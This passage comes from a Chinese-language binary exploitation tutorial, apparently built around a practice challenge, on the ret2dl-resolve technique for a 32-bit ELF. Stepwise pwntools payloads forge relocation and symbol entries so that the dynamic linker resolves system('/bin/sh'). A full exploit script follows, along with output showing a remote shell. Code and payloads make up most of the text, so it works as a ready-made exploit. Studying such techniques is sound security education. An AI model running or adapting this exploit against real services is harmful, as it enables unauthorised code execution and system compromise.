print io.recv()接下来，我们更进一步，伪造一个 write 函数的 Elf32_Rel 结构体，原结构体在 .rel.plt 中，如下所示：
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;$ readelf -r a.out | grep write
0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
该结构体的 r_offset 是 write@got 地址，即 0x0804a01c，r_info 是 0x707。动态装载器通过 reloc_index 找到它，而 reloc_index 是相对于 .rel.plt 的偏移，所以我们如果控制了这个偏移，就可以跳转到伪造的 write 上。payload 如下：
reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28
r_info = 0x707
fake_reloc = p32(write_got) + p32(r_info)
payload_4 = "AAAA"
payload_4 += p32(plt_0)
payload_4 += p32(reloc_index)
payload_4 += "AAAA"
payload_4 += p32(1)
payload_4 += p32(base_addr + 80)
payload_4 += p32(len("/bin/sh"))
payload_4 += fake_reloc
payload_4 += "A" * (80 - len(payload_4))
payload_4 += "/bin/sh\x00"
payload_4 += "A" * (100 - len(payload_4))
io.sendline(payload_4)
print io.recv()另外讲一讲 Elf32_Rel 值的计算方法如下，我们下面会得用到：
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7，即.dynsym的第 7 行ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7，即#define R_386_JMP_SLOT 7 /* Create PLT entry */ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707，即 r_info
这一次，伪造位于 .dynsym 段的结构体 Elf32_Sym，原结构体如下：
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;$ readelf -s a.out | grep write
7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
转储 .dynsym 段并找到第 7 行：
$ objdump -s -j .dynsym a.out
...
804823c 4c000000 00000000 00000000 12000000 L...............
...
其中最重要的是 st_name 和 st_info，分别为 0x4c 和 0x12。构造 payload 如下：
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
fake_sym_addr = fake_sym_addr + align
r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym
r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry
r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff))
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
st_info = 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_5 = "AAAA"
payload_5 += p32(plt_0)
payload_5 += p32(reloc_index)
payload_5 += "AAAA"
payload_5 += p32(1)
payload_5 += p32(base_addr + 80)
payload_5 += p32(len("/bin/sh"))
payload_5 += fake_reloc
payload_5 += "A" * align
payload_5 += fake_sym
payload_5 += "A" * (80 - len(payload_5))
payload_5 += "/bin/sh\x00"
payload_5 += "A" * (100 - len(payload_5))
io.sendline(payload_5)
print io.recv()一样地讲一下 st_info 的解析和插入算法：
#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
#define ELF32_ST_TYPE(val) ((val) & 0xf)
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1，即#define STB_GLOBAL 1 /* Global symbol */ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2，即#define STT_FUNC 2 /* Symbol is a code object */ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12，即 st_info
下一步，是将 st_name 指向我们伪造的字符串 "write"，payload 如下：
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr # address of string "write"
st_bind = 0x1 # STB_GLOBAL -> Global symbol
st_type = 0x2 # STT_FUNC -> Symbol is a code object
st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_6 = "AAAA"
payload_6 += p32(plt_0)
payload_6 += p32(reloc_index)
payload_6 += "AAAA"
payload_6 += p32(1)
payload_6 += p32(base_addr + 80)
payload_6 += p32(len("/bin/sh"))
payload_6 += fake_reloc
payload_6 += "A" * align
payload_6 += fake_sym
payload_6 += "write\x00"
payload_6 += "A" * (80 - len(payload_6))
payload_6 += "/bin/sh\x00"
payload_6 += "A" * (100 - len(payload_6))
io.sendline(payload_6)
print io.recv()最后，只要将 "write" 替换成任何我们希望的函数，并调整参数，就可以了，这里我们换成 "system"，拿到 shell：
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_7 = "AAAA"
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index)
payload_7 += "AAAA"
payload_7 += p32(base_addr + 80)
payload_7 += "AAAA"
payload_7 += "AAAA"
payload_7 += fake_reloc
payload_7 += "A" * align
payload_7 += fake_sym
payload_7 += "system\x00"
payload_7 += "A" * (80 - len(payload_7))
payload_7 += "/bin/sh\x00"
payload_7 += "A" * (100 - len(payload_7))
io.sendline(payload_7)
io.interactive()Bingo!!!
$ python2 exp.py
[*] '/home/firmy/Desktop/a.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
这题是 32 位程序，在 64 位下会有一些变化，比如说：
- 64 位程序一般情况下使用寄存器传参，但给
_dl_runtime_resolve传参时使用栈 _dl_runtime_resolve函数的第二个参数reloc_index由偏移变为了索引。_dl_fixup函数中，在伪造 fake_sym 后，可能会造成崩溃，需要将link_map+0x1c8地址上的值置零
具体的以后遇到再说。
如果觉得手工构造太麻烦，有一个工具 roputils 可以简化此过程，感兴趣的同学可以自行尝试。
完整的 exp 如下：
from pwn import *
# context.log_level = 'debug'
elf = ELF('./a.out')
io = remote('127.0.0.1', 10001)
io.recv()
pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr = 0x0804869b # pop ebp ; ret
leave_ret_addr = 0x080484b6 # leave ; ret
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
base_addr = bss_addr + 0x600 # 0x804a628
payload_1 = "A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)
# payload_2 = "AAAA" # new ebp
# payload_2 += p32(write_plt)
# payload_2 += "AAAA"
# payload_2 += p32(1)
# payload_2 += p32(base_addr + 80)
# payload_2 += p32(len("/bin/sh"))
# payload_2 += "A" * (80 - len(payload_2))
# payload_2 += "/bin/sh\x00"
# payload_2 += "A" * (100 - len(payload_2))
# io.sendline(payload_2)
# print io.recv()
# reloc_index = 0x20
# payload_3 = "AAAA"
# payload_3 += p32(plt_0)
# payload_3 += p32(reloc_index)
# payload_3 += "AAAA"
# payload_3 += p32(1)
# payload_3 += p32(base_addr + 80)
# payload_3 += p32(len("/bin/sh"))
# payload_3 += "A" * (80 - len(payload_3))
# payload_3 += "/bin/sh\x00"
# payload_3 += "A" * (100 - len(payload_3))
# io.sendline(payload_3)
# print io.recv()
# reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28
# r_info = 0x707
# fake_reloc = p32(write_got) + p32(r_info)
# payload_4 = "AAAA"
# payload_4 += p32(plt_0)
# payload_4 += p32(reloc_index)
# payload_4 += "AAAA"
# payload_4 += p32(1)
# payload_4 += p32(base_addr + 80)
# payload_4 += p32(len("/bin/sh"))
# payload_4 += fake_reloc
# payload_4 += "A" * (80 - len(payload_4))
# payload_4 += "/bin/sh\x00"
# payload_4 += "A" * (100 - len(payload_4))
# io.sendline(payload_4)
# print io.recv()
# reloc_index = base_addr + 28 - rel_plt
# fake_sym_addr = base_addr + 36
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
# fake_sym_addr = fake_sym_addr + align
# r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym
# r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry
# r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff))
# fake_reloc = p32(write_got) + p32(r_info)
# st_name = 0x4c
# st_info = 0x12
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
# payload_5 = "AAAA"
# payload_5 += p32(plt_0)
# payload_5 += p32(reloc_index)
# payload_5 += "AAAA"
# payload_5 += p32(1)
# payload_5 += p32(base_addr + 80)
# payload_5 += p32(len("/bin/sh"))
# payload_5 += fake_reloc
# payload_5 += "A" * align
# payload_5 += fake_sym
# payload_5 += "A" * (80 - len(payload_5))
# payload_5 += "/bin/sh\x00"
# payload_5 += "A" * (100 - len(payload_5))
# io.sendline(payload_5)
# print io.recv()
# reloc_index = base_addr + 28 - rel_plt
# fake_sym_addr = base_addr + 36
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
# fake_sym_addr = fake_sym_addr + align
# r_sym = (fake_sym_addr - dynsym) / 0x10
# r_type = 0x7
# r_info = (r_sym << 8) + (r_type & 0xff)
# fake_reloc = p32(write_got) + p32(r_info)
# st_name = fake_sym_addr + 0x10 - dynstr # address of string "write"
# st_bind = 0x1 # STB_GLOBAL -> Global symbol
# st_type = 0x2 # STT_FUNC -> Symbol is a code object
# st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
# payload_6 = "AAAA"
# payload_6 += p32(plt_0)
# payload_6 += p32(reloc_index)
# payload_6 += "AAAA"
# payload_6 += p32(1)
# payload_6 += p32(base_addr + 80)
# payload_6 += p32(len("/bin/sh"))
# payload_6 += fake_reloc
# payload_6 += "A" * align
# payload_6 += fake_sym
# payload_6 += "write\x00"
# payload_6 += "A" * (80 - len(payload_6))
# payload_6 += "/bin/sh\x00"
# payload_6 += "A" * (100 - len(payload_6))
# io.sendline(payload_6)
# print io.recv()
# reloc_index = base_addr + 28 - rel_plt
# fake_sym_addr = base_addr + 36
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
# fake_sym_addr = fake_sym_addr + align
# r_sym = (fake_sym_addr - dynsym) / 0x10
# r_info = (r_sym << 8) + 0x7
# fake_reloc = p32(write_got) + p32(r_info)
# st_name = fake_sym_addr + 0x10 - dynstr
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
# payload_7 = "AAAA"
# payload_7 += p32(plt_0)
# payload_7 += p32(reloc_index)
# payload_7 += "AAAA"
# payload_7 += p32(base_addr + 80)
# payload_7 += "AAAA"
# payload_7 += "AAAA"
# payload_7 += fake_reloc
# payload_7 += "A" * align
# payload_7 += fake_sym
# payload_7 += "system\x00"
# payload_7 += "A" * (80 - len(payload_7))
# payload_7 += "/bin/sh\x00"
# payload_7 += "A" * (100 - len(payload_7))
# io.sendline(payload_7)
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_7 = "AAAA"
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index)
payload_7 += "AAAA"
payload_7 += p32(base_addr + 80)
payload_7 += "AAAA"
payload_7 += "AAAA"
payload_7 += fake_reloc
payload_7 += "A" * align
payload_7 += fake_sym
payload_7 += "system\x00"
payload_7 += "A" * (80 - len(payload_7))
payload_7 += "/bin/sh\x00"
payload_7 += "A" * (100 - len(payload_7))
io.sendline(payload_7)
io.interactive()